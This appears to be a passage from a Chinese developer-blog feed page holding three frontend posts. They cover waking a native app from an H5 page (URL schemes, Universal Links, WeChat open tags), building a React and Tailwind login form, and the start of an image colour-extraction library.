  • “某个 App 能够处理哪些 Scheme


系统会维护一张映射关系:


Scheme(协议名) → App

一旦这个映射存在,系统就具备了“路由能力”。




当系统再次遇到相同 Scheme 的 URL 时,流程会变成



URL → 操作系统 → 查找注册关系 → 启动对应 App → 传递参数



整个过程发生在 系统层面,与 H5 是否运行在 WebView、是否使用 JS Bridge 本身并没有直接关系。


Safari → App 为例


Safari 点击链接

系统识别这是 Universal Link / Scheme

系统查找有没有 App 声明能处理

有 → 启动 App(cold / warm)

把参数交给 App




H5侧实现

① 通过 window.location.href 跳转

这是最直接、最直观的一种方式:


window.location.href = 'zhihu://'

它的行为非常明确:



  • 1.当前页面发起一次 URL 跳转

  • 2.浏览器发现这是一个非 http(s) 协议

  • 3.将该 URL 交给操作系统处理


早期移动浏览器系统浏览器中,这种方式成功率较高,也是最常见的实现。


但它的问题也很明显:



  • 1.会破坏当前页面状态

  • 2.在强管控容器(如微信)中通常会被直接拦截

  • 3.无法判断 App 是否已安装




② 通过隐藏 iframe 触发跳转

这种方式曾经被广泛用于 “无刷新唤醒” 的场景:


const iframe = document.createElement('iframe')
iframe.style.display = 'none'
iframe.src = 'zhihu://'
document.body.appendChild(iframe)

其原理是:



  • 1.利用 iframe 加载资源的行为

  • 2.间接触发 Scheme

  • 3.避免页面发生整体跳转


在一段时间内,这种方式被认为是:



location.href 更“温和”的唤醒方式



但随着浏览器和容器安全策略的收紧:



  • iframe 加载非标准协议被限制

  • 微信、QQ 等环境几乎完全失效


目前这类方式更多只存在于历史代码或兼容逻辑中




③ 通过 <a> 标签跳转

这是最“标准 HTML”的方式:


<a href="zhihu://">打开知乎 App</a>

它的特点是:



  • 1.依赖用户真实点击

  • 2.符合浏览器的交互安全模型

  • 3.成功率通常高于自动跳转


在部分环境中:



“用户点击触发” 本身就是是否允许唤醒的重要判断条件



因此,<a> 标签在某些浏览器中的表现,反而比 JS 自动跳转更稳定。




④ 通过 JS Bridge 由原生侧发起

在 App 内 WebView 场景下,最稳定的方式其实是:


window.miduBridge.call('openAppByRouter', {
url: 'zhihu://'
})

这种方式的本质是:



  • 1.H5 并不直接触发 Scheme

  • 2.而是通过 JS Bridge 通知原生

  • 3.由 原生代码主动发起跳转




这也是 混合开发中最推荐的做法,因为:



  • 1.不受浏览器安全策略影响

  • 2.成功率最高

  • 3.可完全由 App 控制兜底逻辑





实际开发问题

在实际开发中,一个非常现实的问题是:



H5 发起 Scheme 跳转后,如何判断 App 是否真的被成功唤起?





但是事实上是对于 URL Scheme 这种系统级跳转机制 来说:



前端并不存在一个“可靠、官方、100% 准确”的判断方式



这是由 Scheme 的实现机制本身决定的。


为什么前端无法直接判断?

当 H5 触发 Scheme 跳转后:



  • 1.浏览器将 URL 交给操作系统

  • 2.系统尝试查找是否存在可处理该 Scheme 的 App

  • 3.如果存在,则直接拉起 App




这个过程发生在:



浏览器 → 操作系统 → App



而 H5 所处的位置是:



浏览器沙箱内



浏览器不会告诉 H5:



  • 1.是否找到了 App

  • 2.是否成功启动

  • 3.是否被系统或容器拦截


因此,H5 无法拿到任何明确的成功 / 失败回调




目前的主流方案是【推测】

方式一:页面可见性变化(最常用)


let hidden = false

document.addEventListener('visibilitychange', () => {
if (document.hidden) {
hidden = true
}
})

setTimeout(() => {
if (!hidden) {
// 大概率唤起失败
}
}, 1500)


原理是:



  • 1.App 被拉起时

  • 2.浏览器页面会进入后台

  • 3.触发 visibilitychange


如果页面始终未进入隐藏状态,大概率唤醒失败


! 注意:

这是“概率判断”,不是绝对结论。




方式二:定时器兜底跳转


location.href = 'zhihu://'

setTimeout(() => {
location.href = 'https://appstore.xxx.com'
}, 2000)

逻辑是:



  • 1.尝试唤醒 App

  • 2.如果 2 秒内页面未被中断

  • 3.认为 App 未安装或唤醒失败

  • 4.自动跳转下载页


这是最常见的商业实现方式。\





以上方法均不可靠


因为它们都依赖于一个前提:



“App 被唤起,一定会导致页面进入后台”



但现实中:



  • 系统弹窗

  • 权限确认

  • 容器拦截

  • 多任务切换


都会导致误判。


所以结论非常明确:



Scheme 的唤醒结果,只能“推测”,不能“确认”





不过第 ④ 种方式,其实是一个例外。


window.miduBridge.call('openAppByRouter', { url: 'zhihu://' })


因为这一步是:



由原生主动发起跳转



所以:



  • 原生知道自己是否成功处理了跳转

  • 可以通过 JS Bridge 回调结果给 H5


window.miduBridge.call(
'openAppByRouter',
{ url: 'zhihu://' },
(result) => {
if (result.success) {
// 唤起成功
} else {
// 唤起失败
}
}
)



  • 纯 H5 + Scheme



    • 无法准确判断唤醒是否成功

    • 只能通过行为推测



  • JS Bridge + 原生发起



    • 可以获得明确结果

    • 成功率与可控性最高




也正是这个差异,导致了今天的现实:


Scheme 更适合作为“兜底工具”,而不是主方案




scheme方案的其他缺点

除了前面提到的 安全性差、用户体验不佳、无法准确判断唤起结果 外,URL Scheme 还有几个现实工程中必须考虑的缺点:




① 协议名可能被重复注册或占用



  • 1.URL Scheme 依赖的是 协议名(如 myapp:// 来标识 App

  • 2.系统层面并没有强制保证唯一性

  • 3.如果不同 App 注册了相同协议名:



    • 用户点击 Scheme 时,系统可能唤醒错误的 App

    • 导致业务逻辑混乱,甚至产生安全隐患






② 部分 App 或容器主动屏蔽



  • 微信、QQ、支付宝等强管控容器对 Scheme 跳转有严格限制

  • 常见表现:



    • 1.自动跳转失效

    • 2.iframe / location.href 被直接拦截

    • 3.用户点击 <a> 标签也可能无法唤醒



  • 原因:



    • 1.防止恶意跳转、劫持安装流

    • 2.控制容器内的用户体验





换句话说,即便你的协议名注册正确,Scheme 在这些环境下往往失效





③ 无统一管理和安全约束



  • 1.URL Scheme 本身没有域名验证或证书绑定机制

  • 2.任何 App 都可以注册

  • 3.没有办法验证调用者或跳转来源

  • 4.容易被用作“恶意唤醒”或劫持入口


  •   <br>





方案2.Universal Link / App Link

随着 URL Scheme 的局限性暴露出来:



  • 1.协议名可能冲突

  • 2.容器或浏览器屏蔽

  • 3.无法安全验证来源




Apple 和 Google 分别提出了官方解决方案



  • iOS → Universal Link

  • Android → App Link / Chrome Intents


它们的核心理念很一致:



通过 HTTPS 链接 + 系统校验,让 App 唤醒更安全、更可靠





2.1 Universal Link(iOS)



Universal Link 是 iOS 9 之后新增的功能,它允许开发者 直接通过 HTTPS 链接唤醒 App


相比 URL Scheme,它有几个明显优势:



  1. 自然降级:如果 App 没有安装,点击链接会直接打开网页,无需前端判断唤起是否成功。

  2. 用户体验更好:不会弹出“是否打开 App”的确认框,唤端效率更高。

  3. 安全可靠:链接必须绑定到 App 的域名,避免协议名冲突或被劫持。




核心原理


Universal Link 的实现原理可以概括为两步:



  1. 1.App 注册域名



    • 在 iOS 项目中,需要声明 App 支持的域名

    • 系统通过这个绑定来识别哪些链接可以交给 App 处理。



  2. 2.域名配置 apple-app-site-association 文件



    • 在对应域名的根目录下放置 apple-app-site-association 文件,声明 App 支持哪些路径。

    • 当用户点击该域名的链接时,iOS 会检查该文件,并判断 App 是否可以处理。

    • 如果 App 安装了,就直接唤起;否则,打开网页







对前端同学来说,不需要关注文件的具体配置,只需与 iOS 同学确认好支持的域名即可。






  • 系统在点击链接时,会偷偷做三件事:



    1. 1.验证域名是否和 App 绑定(Apple 服务器文件 + App 配置)

    2. 2.检查 App 是否已安装

    3. 3.匹配 App 内路由,如果符合则直接唤起 App 指定页面



  • 未安装 App,则自然打开网页页面,不会报错或失效


  •   <br>



相对于 URL Scheme,Universal Link 的优势非常明显:



  1. 1.无弹窗提示



    • 唤端时不会弹出“是否打开 App”的确认框

    • 用户体验更顺畅,可以减少用户流失



  2. 2.自然降级能力



    • 无需关心用户是否安装 App

    • 对于未安装 App 的用户,点击链接会直接打开对应网页

    • 这也解决了 URL Scheme 无法准确判断唤端失败的问题



  3. 3.平台限制



    • Universal Link 目前只能在 iOS 系统使用

    • Android 需要使用 App Link 或 Chrome Intents



  4. 4.用户触发要求



    • 必须由用户主动点击触发

    • 自动跳转、iframe 触发等方式无法保证唤起成功








H5侧代码


在 H5 页面中,触发 Universal Link 非常简单,就像普通的网页链接一样


function openByUniversal() {
// 打开知乎问题页
window.location.href = 'https://oia.zhihu.com/questions/64966868';
}

或者使用 <a> 标签:


<a href="https://oia.zhihu.com/questions/64966868">打开 App</a>

特点:



  • 1.与普通网页跳转一致,前端不需要做额外判断

  • 2.如果 App 安装了,系统会直接拉起 App 并跳转到对应页面

  • 3.如果 App 未安装,则打开网页,兜底自然



🔹 对前端同学来说,Universal Link 的操作非常简单,不需要关心底层配置,只需确认域名和路径由 iOS 同学支持即可。





⚠️ 但是它在 iOS 容器中仍然有限制:



  • 微信、QQ 等仍然可能拦截

  • 因为容器本身不允许把链接交给系统




2.2 App Link / Chrome Intents(Android)

Android 的解决方案和 iOS 类似,但实现上更“开放”:



  • 1.App Link:和 Universal Link 一样,通过 HTTPS + 域名校验来保证安全

  • 2.Chrome Intents:允许开发者直接指定 包名 + Scheme + 路由,用于兜底或精确跳转


示例:


https://www.example.com/product/123

或者使用 Intent:


intent://product/123#Intent;scheme=myapp;package=com.example.app;end


  • 系统会检查 App 是否安装

  • 安装则唤起指定页面

  • 未安装则跳转应用商店




H5 侧触发方式


①通过普通 HTTPS 链接触发 App Link


function openByAppLink() {
// 打开商品详情页
window.location.href = 'https://www.example.com/product/123';
}

或者直接用 <a> 标签:


<a href="https://www.example.com/product/123">打开 App</a>

原理:



  • 1.系统检测链接对应域名是否绑定 App

  • 2.App 安装了 → 唤起并跳转指定页面

  • 3.App 未安装 → 自动打开网页,兜底自然




② 通过 Intent URL 触发 Chrome Intents


function openByIntent() {
window.location.href = 'intent://product/123#Intent;scheme=myapp;package=com.example.app;end';
}

特点:



  • 1.可以指定 App 包名和 Scheme

  • 2.App 安装 → 唤起指定页面

  • 3.App 未安装 → 跳转应用商店,确保用户可获取 App




2.3 相比 Scheme 的优势

优势说明
安全域名验证避免被劫持或重复注册
成功率高系统直接控制唤醒流程
可自然降级App 未安装时自动跳网页或应用商店
用户体验好不弹确认框,跳转顺畅



2.4 需要注意的点


  • 1.Universal Link / App Link 仍然会被部分 容器拦截 (尤其是微信)

  • 2.域名和 App 的绑定必须在 服务端 + App 配置 同步

  • 3.Android 上不同浏览器行为可能略有差异,需要在测试时覆盖主流浏览器




方案3:微信环境下的唤醒方案

微信环境下的 H5 唤醒 App,和普通浏览器相比有几个显著特点



  1. 1.绝大部分 Scheme 被拦截



    • 无论是 location.href、iframe 还是 <a> 标签

    • 微信会直接阻止跳转,防止外部 App 劫持



  2. 2.Universal Link / App Link 成功率有限



    • iOS 的 Universal Link 在微信里也可能被拦截

    • Android 的 App Link / Chrome Intents 在微信内同样可能无效





🔹 也就是说,在微信环境下,“传统唤端方案”几乎失效。





3.1可行方案

① 通过 跳转到 App Store / 应用商店


  • 对于未安装 App 的用户,是最安全、最通用的兜底方案

  • 缺点:用户必须手动下载,体验不如直接唤端


window.location.href = 'https://apps.apple.com/cn/app/idxxxxxx';



② 使用 中转页 / 提示页


  • 先打开一个中转 H5 页面(WebView 或浏览器打开),提示用户点击按钮唤醒 App

  • 按钮可以触发 Scheme 或 Universal Link

  • 优势:



    • 1.提示用户手动操作,提高唤醒成功率

    • 2.可以结合埋点统计唤醒行为



  • 缺点:



    • 额外增加一个页面,增加跳转成本




H5侧


<!-- 中转提示页 -->
<button id="openAppBtn">打开 App</button>

<script>
document.getElementById('openAppBtn').addEventListener('click', function() {
// 方式 1:使用 URL Scheme(兜底方案)
window.location.href = 'myapp://page/detail?id=123';

// 方式 2:使用 Universal Link(iOS)
// window.location.href = 'https://www.example.com/page/detail?id=123';

// 可选:2 秒后兜底到应用商店
setTimeout(() => {
window.location.href = 'https://apps.apple.com/cn/app/idxxxxxx'; // iOS 应用商店
// 或 Android 下载链接
}, 2000);
});
</script>



特点:



  • 1.必须用户点击才能触发

  • 2.可以结合 setTimeout 兜底下载

  • 3.可以在按钮点击时触发埋点统计唤醒成功率




③ 小程序或企业号协作


  • 对于企业内部或自家 App:



    • 可以通过 小程序 / 企业微信接口 调起 App

    • 优点:成功率高,可控

    • 缺点:仅限特定生态






H5 侧示例(假设使用企业微信 JS-SDK)


<button id="openAppBtn">打开 App</button>

<script>
// 假设已经引入企业微信 JS-SDK 并完成 config
document.getElementById('openAppBtn').addEventListener('click', function() {
if (window.wx && wx.invoke) {
wx.invoke('openEnterpriseChat', { // 示例接口
useridlist: 'user_id',
chatType: 1
}, function(res) {
if(res.err_msg == "openEnterpriseChat:ok") {
console.log('App 唤起成功');
} else {
console.log('唤起失败,兜底逻辑');
window.location.href = 'https://apps.apple.com/cn/app/idxxxxxx';
}
});
}
});
</script>




特点:



  • 1.成功率高,原生接口可明确回调

  • 2.适合企业内部 / 自家生态

  • 3.不适用于普通微信用户




④ 微信开放标签 <wx-open-launch-app>(Android)

微信为了改善 Android H5 唤醒体验,提供了 开放标签 wx-open-launch-app,可以让前端 H5 直接在微信里唤醒 App


使用示例


<wx-open-launch-app
appid="wx123" <!-- 你注册的 App ID -->
extinfo="page=home&id=123"> <!-- 透传参数,可在 App 内使用 -->

<script type="text/wxtag-template">
<button>打开 App</button>
</script>

</wx-open-launch-app>

原理:



  • 1.标签本身是微信官方提供的组件

  • 2.内部会调用 微信客户端唤醒 App 的能力

  • 3.可以透传参数给 App,直接跳到指定页面




⚠️ 使用前提



  1. 1.微信认证



    • 公众号或小程序必须经过微信认证



  2. 2.App 在白名单内



    • 需要申请微信开放能力并配置白名单

    • 只有在白名单内的 App 才能被唤醒



  3. 3.仅限微信环境



    • 该标签在普通浏览器或非微信环境下无法使用




特点



  • 1.成功率高:比传统 Scheme / Universal Link 在微信中稳定

  • 2.前端简单:不需要写 JS 复杂逻辑,只需包一层标签即可

  • 3.可透传参数:可直接带参数跳到指定页面


限制



  • 1.仅适用于 Android

  • 2.必须满足认证 + 白名单条件

  • 3.仅能在微信内使用




⑤微信环境下 iOS 唤醒:Universal Link

微信中,前面提到的 URL Schemeiframe 等方式几乎都被拦截,无法自动唤起 App。


iOS 唯一可行且推荐的方案是 Universal Link:



  • 1.用户点击 H5 页面里的 HTTPS 链接

  • 2.iOS 系统检查该域名是否绑定了 App

  • 3.App 已安装 → 直接唤起并跳转指定页面

  • 4.App 未安装 → 打开网页,自然兜底


H5 触发方式


<a href="https://oia.zhihu.com/questions/64966868">打开 App</a>

<script>
function openByUniversal() {
window.location.href = 'https://oia.zhihu.com/questions/64966868';
}
</script>



特点:



  1. 1.成功率最高



    • iOS 系统直接判断是否唤起 App

    • 不受微信容器拦截 Scheme 的影响



  2. 2.用户体验好



    • 不弹出“是否打开 App”的确认框

    • 点击即可直接唤起 App



  3. 3.自然降级



    • App 未安装时,自动打开网页

    • 前端无需额外逻辑判断唤端成功与否




注意:



  • 1.仅适用于 iOS 微信

  • 2.Android 微信仍需中转页或 <wx-open-launch-app> 等方案

  • 3.必须事先和 iOS 同学确认支持的域名和 Universal Link 配置


作者:pinkQQx
来源:juejin.cn/post/7594087108594237503
收起阅读 »

React + Tailwind CSS 实战:打造一个“会呼吸”的登录页面

web
哈喽,各位掘金的“打工人”们,大家好!👋 还记得咱们上一篇聊过的 Tailwind CSS 入门(在这里详细讲解了如何配置TailwindCss) 吗?当时我们不仅揭开了原子化 CSS 的神秘面纱,还稍微带了一嘴“受控组件”的概念。 今天,咱们不玩虚的,直接实...
继续阅读 »

哈喽,各位掘金的“打工人”们,大家好!👋


还记得咱们上一篇聊过的 Tailwind CSS 入门(在这里详细讲解了如何配置TailwindCss) 吗?当时我们不仅揭开了原子化 CSS 的神秘面纱,还稍微带了一嘴“受控组件”的概念。


今天,咱们不玩虚的,直接实战!🚀


我们要用 React 配合 Tailwind CSS,从零打造一个现代、优雅、且交互细腻的登录页面


别担心,虽然说是“实战”,但我的风格你懂的:轻松愉快,知识硬核。我会把代码掰开了、揉碎了讲给你听,保证你不仅能学会写,还能懂得为什么要这么写。


准备好了吗?系好安全带,老司机要发车了!🚌💨




🎯 我们的目标


我们要做的不是一个死板的 HTML 页面,而是一个有灵魂的 React 组件。它包含:



  1. 响应式布局:手机、平板、电脑通吃。

  2. 优雅的 UI:圆角、阴影、柔和的配色(Tailwind 拿手好戏)。

  3. 极致的交互:聚焦时图标变色、平滑的过渡动画。

  4. React 逻辑:受控组件、状态管理、密码显隐切换。

  5. 图标库:使用 lucide-react 这一当下最火的图标库。


最终效果?就像你每天用的那些大厂 App 一样丝滑。✨




🛠️ 准备工作:兵马未动,粮草先行


首先,确保你的环境里有 React 和 Tailwind CSS。如果你是 Vite 用户,这简直是分分钟的事。


在这个项目中,我们还需要一个特别好用的图标库:lucide-react


npm install lucide-react
# 或者
pnpm add lucide-react

它体积小、图标全、风格统一,绝对是开发利器。




🏗️ 第一步:骨架与画布 —— 布局的艺术


一切从 App.jsx 开始。


我们先看最外层的结构。想象一下,你是个画家,得先铺好画布。


export default function App() {
// ... 逻辑部分稍后讲 ...

return (
// 1. 外层容器:全屏背景,居中布局
<div className="min-h-screen bg-slate-50 flex items-center justify-center p-4">
{/* ... 卡片 ... */}
</div>

)
}

📝 代码详解



  • min-h-screen: 核心! 这让容器的高度至少为屏幕高度(100vh)。如果内容不够多,背景也能铺满全屏;内容多了,它能自动延伸。告别尴尬的“白底漏出”。

  • bg-slate-50: 给背景来点极其淡雅的灰。纯白(#fff)太刺眼,Slate-50 刚刚好,高级感这就来了。

  • flex items-center justify-center: Flexbox 三连。这是最经典的垂直水平居中方案。不管你的屏幕多大,登录框永远稳坐 C 位。

  • p-4: 给四周留点余地,防止在小屏幕手机上内容贴边。




📦 第二步:卡片设计 —— 拟物感的回归


接下来是那个漂浮在屏幕中央的白色卡片。


<div className="relative z-10 w-full max-w-md bg-white rounded-3xl shadow-xl shadow-slate-200/60 border-slate-100 p-8 md:p-10">
{/* ... 内容 ... */}
</div>

📝 代码详解


这里面的学问可大了:



  1. 尺寸控制



    • w-full: 宽度占满父容器(但在 padding 的作用下不会贴边)。

    • max-w-md: 关键限制。在大屏幕上,我们不希望登录框无限拉长,max-w-md (28rem / 448px) 是一个非常舒适的阅读宽度。



  2. 质感营造



    • bg-white: 卡片主体白色。

    • rounded-3xl: 超大圆角!现在流行这种亲和力强的设计,比直角或小圆角更 Modern。

    • shadow-xl shadow-slate-200/60: Tailwind 的黑魔法shadow-xl 给出一个大投影,而 shadow-slate-200/60 则是修改了这个投影的颜色!默认的黑色投影太脏了,用带点蓝紫调的灰色(slate),并且设置透明度(/60),会让卡片看起来像是“悬浮”在空气中,通透感满分。

    • border-slate-100: 极淡的边框,增强边界感,细节决定成败。



  3. 响应式内边距



    • p-8: 默认情况(手机)内边距是 2rem。

    • md:p-10: Mobile First 策略。当屏幕宽度大于 md(768px)时,内边距增加到 2.5rem。大屏大留白,呼吸感就有了。






🧠 第三步:注入灵魂 —— React 状态管理


界面写得再好看,不能动也是白搭。我们要用 React 的 Hooks 来赋予它生命。


import { useState } from 'react';

export default function App() {
// 1. 表单数据状态:单一数据源
const [formData, setFormData] = useState({
email: '',
password: '',
remember: false // 虽然 UI 里没画,但逻辑我们要预留好
});

// 2. UI 交互状态
const [showPassword, setShowPassword] = useState(false); // 密码显隐
const [isLoading, setIsLoading] = useState(false); // 加载中状态

// ...
}

💡 为什么这么设计?


我们没有为 email 和 password 分别创建 state(比如 email, setEmail),而是用一个对象 formData 统一管理。
这样做的好处是:当表单字段变多时(比如注册页有10个空),我们不需要写10个 useState,代码更整洁,扩展性更强。




⚡ 第四步:抽象事件处理 —— 优雅的 handleChange


这是很多新手容易写乱的地方。看仔细了,这一段代码非常通用,建议背诵!


  // 抽象的表单变更处理函数
const handleChange = (e) => {
// 解构出我们需要的信息
// name: 哪个输入框变了?
// value: 变成了什么值?
// type/checked: 专门处理 checkbox
const { name, value, type, checked } = e.target;

// 状态更新
setFormData((prev) => ({
...prev, // 保留之前的其他字段
// 动态属性名:[name]
// 如果是 checkbox 用 checked,否则用 value
[name]: type === 'checkbox' ? checked : value,
}))
}

📝 深度解析



  1. 对象解构const {name, value, ...} = e.target 让代码更清晰。

  2. 函数式更新setFormData((prev) => ...)注意! 永远推荐用这种回调函数的方式更新依赖于旧状态的新状态。这能确保在复杂的异步更新中,你拿到的 prev 永远是最新的。

  3. 计算属性名[name]: ...。ES6 的语法糖,让我们可以用变量 name 作为对象的 key。这意味着这一个函数,可以同时处理 email、password、username 等无数个输入框!这就叫复用




🎨 第五步:表单组件 —— 细节狂魔


接下来是重头戏:输入框。这里我们用到了 Tailwind 极其强大的 grouppeer 特性。


邮箱输入框


<div className="space-y-2">
<label className="text-sm font-medium text-slate-700">Email:</label>

{/* group: 父容器标记 */}
<div className="relative group">

{/* 图标:绝对定位 */}
<div className="absolute inset-y-0 left-0 pl-4 flex items-center pointer-events-none text-slate-400 group-focus-within:text-indigo-600 transition-colors">
<Mail size={18} />
</div>

{/* 输入框 */}
<input
type="email"
name="email"
required
value={formData.email}
onChange={handleChange}
placeholder="name@company.com"
className="block w-full pl-11 pr-4 py-3 bg-slate-50 border border-slate-200 rounded-xl text-slate-900 placeholder:text-slate-400 focus:outline-none focus:ring-2 focus:ring-indigo-600/20 focus:border-indigo-600 transition-all"
/>
</div>
</div>

🤯 这里的 CSS 技巧太炸裂了!



  1. 图标变色魔法 (group-focus-within)



    • 我们在父级 div 加了 group 类。

    • 在图标 div 加了 group-focus-within:text-indigo-600

    • 效果:当子元素(input)被聚焦(focus)时,父级检测到 focus-within,通知图标改变颜色!

    • 体验:用户一点输入框,前面的小信封瞬间变成亮紫色,这种交互反馈极大地提升了用户的掌控感。



  2. Input 的精细打磨



    • pl-11: 左边距留大点(2.75rem),因为那里放了图标。

    • focus:ring-2 focus:ring-indigo-600/20: 聚焦时,不要浏览器默认的丑边框,我们要一个 2px 宽、带透明度的紫色光环。

    • focus:border-indigo-600: 同时边框颜色变深。

    • transition-all: 所有的变化(颜色、阴影)都要有过渡动画,拒绝生硬。






🔐 第六步:密码框与显隐切换


密码框多了一个“眼睛”按钮,逻辑稍微复杂一点点。


<div className="relative group">
{/* 左侧锁图标 (同上,略) */}

<input
// 动态类型:根据状态决定是明文还是密文
type={showPassword ? "text" : "password"}
name="password"
// ...
/>

{/* 右侧切换按钮 */}
<button
type="button" // 必须写!否则默认是 submit 会触发表单提交
onClick={() => setShowPassword(!showPassword)}
className="absolute inset-y-0 right-0 pr-4 flex items-center text-slate-400 hover:text-slate-600 transition-colors"
>
{/* 根据状态切换图标 */}
{showPassword ? <EyeOff size={18} /> : <Eye size={18} />}
</button>
</div>

📝 关键点



  1. 动态 Typetype={showPassword ? "text" : "password"}。这是 React 控制 DOM 属性最直接的体现。数据驱动视图,我们不需要手动去操作 DOM 节点的 type 属性。

  2. Button Type:在 <form> 内部的 <button>,如果没有指定 type,默认行为是 submit。如果你点击眼睛图标,页面突然刷新了,肯定是因为你忘了写 type="button"

  3. 图标切换:利用三元运算符 {showPassword ? <EyeOff /> : <Eye />} 在两个图标组件间切换。




🚀 总结


看到这里,你应该已经发现,使用 Tailwind CSS + React 开发界面,实际上是一种搭积木的体验。



  • Tailwind 提供了极其丰富的原子积木(Utility Classes),让你不用写一行 CSS 就能堆砌出精美的样式。

  • React 提供了胶水和传动装置(State & Props),让这些积木动起来,响应用户的操作。


我们学到了什么?



  1. 布局min-h-screen, flex, justify-center 是万能起手式。

  2. 美学:利用 shadow-slate-200/60 这种带颜色的透明阴影制造高级感。

  3. 交互group-focus-within 是处理父子联动交互的神器。

  4. 逻辑:单个 handleChange 处理多个输入框,高效且优雅。

  5. 细节ring, transition, placeholder 等伪类修饰符的组合使用。


课后作业 📝


现在的登录点击后还没有实际效果。你可以尝试完善 handleSubmit 函数,加一个 setTimeout 模拟网络请求,把 isLoading 状态用起来,给按钮加一个“加载中”的转圈圈动画。


前端开发很有趣,Tailwind 让它变得更有趣。希望这篇文章能让你感受到原子化 CSS 的魅力!


喜欢的话,点个赞再走吧!我们下期见!👋




本文代码基于 React 18 + Tailwind CSS 3.x + Lucide React 编写。


作者:神秘的猪头
来源:juejin.cn/post/7591708519449198601
收起阅读 »

autohue.js:让你的图片和背景融为一体,绝了!

web
需求 先来看这样一个场景,拿一个网站举例 这里有一个常见的网站 banner 图容器,大小为为1910*560,看起来背景图完美的充满了宽度,但是图片原始大小时,却是: 它的宽度只有 1440,且 background-size 设置的是 contain ...
继续阅读 »

需求


先来看这样一个场景,拿一个网站举例


image.png


这里有一个常见的网站 banner 图容器,大小为为1910*560,看起来背景图完美的充满了宽度,但是图片原始大小时,却是:


image.png


它的宽度只有 1440,且 background-size 设置的是 contain ,即等比例缩放,那么可以断定它两边的蓝色是依靠背景色填充的。


那么问题来了,这是一个 轮播banner,如果希望添加一张不是蓝色的图片呢?难道要给每张图片提前标注好背景颜色吗?这显然是非常死板的做法。


所以需要从图片中提取到图片的主题色,当然这对于 js 来说,也不是什么难事,市面上已经有众多的开源库供我们使用。


探索


首先在网络上找到了以下几个库:



  • color-thief 这是一款基于 JavaScript 和 Canvas 的工具,能够从图像中提取主要颜色或代表性的调色板

  • vibrant.js 该插件是 Android 支持库中 Palette 类的 JavaScript 版本,可以从图像中提取突出的颜色

  • rgbaster.js 这是一段小型脚本,可以获取图片的主色、次色等信息,方便实现一些精彩的 Web 交互效果


我取最轻量化的 rgbaster.js(此库非常搞笑,用TS编写,npm 包却没有指定 types) 来测试后发现,它给我在一个渐变色图片中,返回了七万多个色值,当然,它准确的提取出了面积最大的色值,但是这个色值不是图片边缘的颜色,导致设置为背景色后,并不能完美的融合。


另外的插件各位可以参考这几篇文章:



可以发现,这些插件主要功能就是取色,并没有考虑实际的应用场景,对于一个图片颜色分析工具来说,他们做的很到位,但是在大多数场景中,他们往往是不适用的。


在文章 2 中,作者对比了三款插件对于图片容器背景色的应用,看起来还是 rgbaster 效果好一点,但是我们刚刚也拿他试了,它并不能适用于颜色复杂度高的、渐变色的图片。


思考


既然又又又没有人做这件事,正所谓我不入地狱谁入地狱,我手写一个


整理一下需求,我发现我希望得到的是:



  1. 图片的主题色(面积占比最大)

  2. 次主题色(面积占比第二大)

  3. 合适的背景色(即图片边缘颜色,渐变时,需要边缘颜色来设置背景色)


这样一来,就已经可以覆盖大部分需求了,1+2 可以生成相关的 主题 TAG、主题背景,3 可以使留白的图片容器完美融合。


开搞


⚠⚠ 本小节内容非常硬核,如果不想深究原理可以直接跳过,文章末尾有用法和效果图 ⚠⚠


思路


首先需要避免上面提到的插件的缺点,即对渐变图片要做好处理,不能取出成千上万的颜色,体验太差且实用性不强,对于渐变色还有一点,即在渐变路径上,每一点的颜色都是不一样的,所以需要将他们以一个阈值分类,挑选出一众相近色,并计算出一个平均色,这样就不会导致主题色太精准进而没有代表性。


对于背景色,需要按情况分析,如果只是希望做一个协调的页面,那么大可以直接使用主题色做渐变过渡或蒙层,也就是类似于这种效果


image.png


但是如果希望背景与图片完美衔接,让人看不出图片边界的感觉,就需要单独对边缘颜色取色了。


最后一个问题,如果图片分辨率过大,在遍历像素点时会非常消耗性能,所以需要降低采样率,虽然会导致一些精度上的丢失,但是调整为一个合适的值后应该基本可用。


剩余的细节问题,我会在下面的代码中解释


使用 JaveScript 编码


接下来我将详细描述 autohue.js 的实现过程,由于本人对色彩科学不甚了解,如有解释不到位或错误,还请指出。


首先编写一个入口主函数,我目前考虑到的参数应该有:


export default async function colorPicker(imageSource: HTMLImageElement | string, options?: autoColorPickerOptions)
type thresholdObj = { primary?: number; left?: number; right?: number; top?: number; bottom?: number }
interface autoColorPickerOptions {
/**
* - 降采样后的最大尺寸(默认 100px)
* - 降采样后的图片尺寸不会超过该值,可根据需求调整
* - 降采样后的图片尺寸越小,处理速度越快,但可能会影响颜色提取的准确性
**/

maxSize?: number
/**
* - Lab 距离阈值(默认 10)
* - 低于此值的颜色归为同一簇,建议 8~12
* - 值越大,颜色越容易被合并,提取的颜色越少
* - 值越小,颜色越容易被区分,提取的颜色越多
**/

threshold?: number | thresholdObj
}


概念解释 Lab ,全称:CIE L*a*bCIE L*a*b*CIE XYZ色彩模式的改进型。它的“L”(明亮度),“a”(绿色到红色)和“b”(蓝色到黄色)代表许多的值。与XYZ比较,CIE L*a*b*的色彩更适合于人眼感觉的色彩,正所谓感知均匀



然后需要实现一个正常的 loadImg 方法,使用 canvas 异步加载图片


function loadImage(imageSource: HTMLImageElement | string): Promise<HTMLImageElement> {
return new Promise((resolve, reject) => {
let img: HTMLImageElement
if (typeof imageSource === 'string') {
img = new Image()
img.crossOrigin = 'Anonymous'
img.src = imageSource
} else {
img = imageSource
}
if (img.complete) {
resolve(img)
} else {
img.onload = () => resolve(img)
img.onerror = (err) => reject(err)
}
})
}

这样我们就获取到了图片对象。


然后为了图片过大,我们需要进行降采样处理


// 利用 Canvas 对图片进行降采样,返回 ImageData 对象
function getImageDataFromImage(img: HTMLImageElement, maxSize: number = 100): ImageData {
const canvas = document.createElement('canvas')
let width = img.naturalWidth
let height = img.naturalHeight
if (width > maxSize || height > maxSize) {
const scale = Math.min(maxSize / width, maxSize / height)
width = Math.floor(width * scale)
height = Math.floor(height * scale)
}
canvas.width = width
canvas.height = height
const ctx = canvas.getContext('2d')
if (!ctx) {
throw new Error('无法获取 Canvas 上下文')
}
ctx.drawImage(img, 0, 0, width, height)
return ctx.getImageData(0, 0, width, height)
}



概念解释,降采样:降采样(Downsampling)是指在图像处理中,通过减少数据的采样率或分辨率来降低数据量的过程。具体来说,就是在保持原始信息大致特征的情况下,减少数据的复杂度和存储需求。这里简单理解为将图片强制压缩为 100*100 以内,也是 canvas 压缩图片的常见做法。



得到图像信息后,就可以对图片进行像素遍历处理了,正如思考中提到的,我们需要对相近色提取并取平均色,并最终获取到主题色、次主题色。


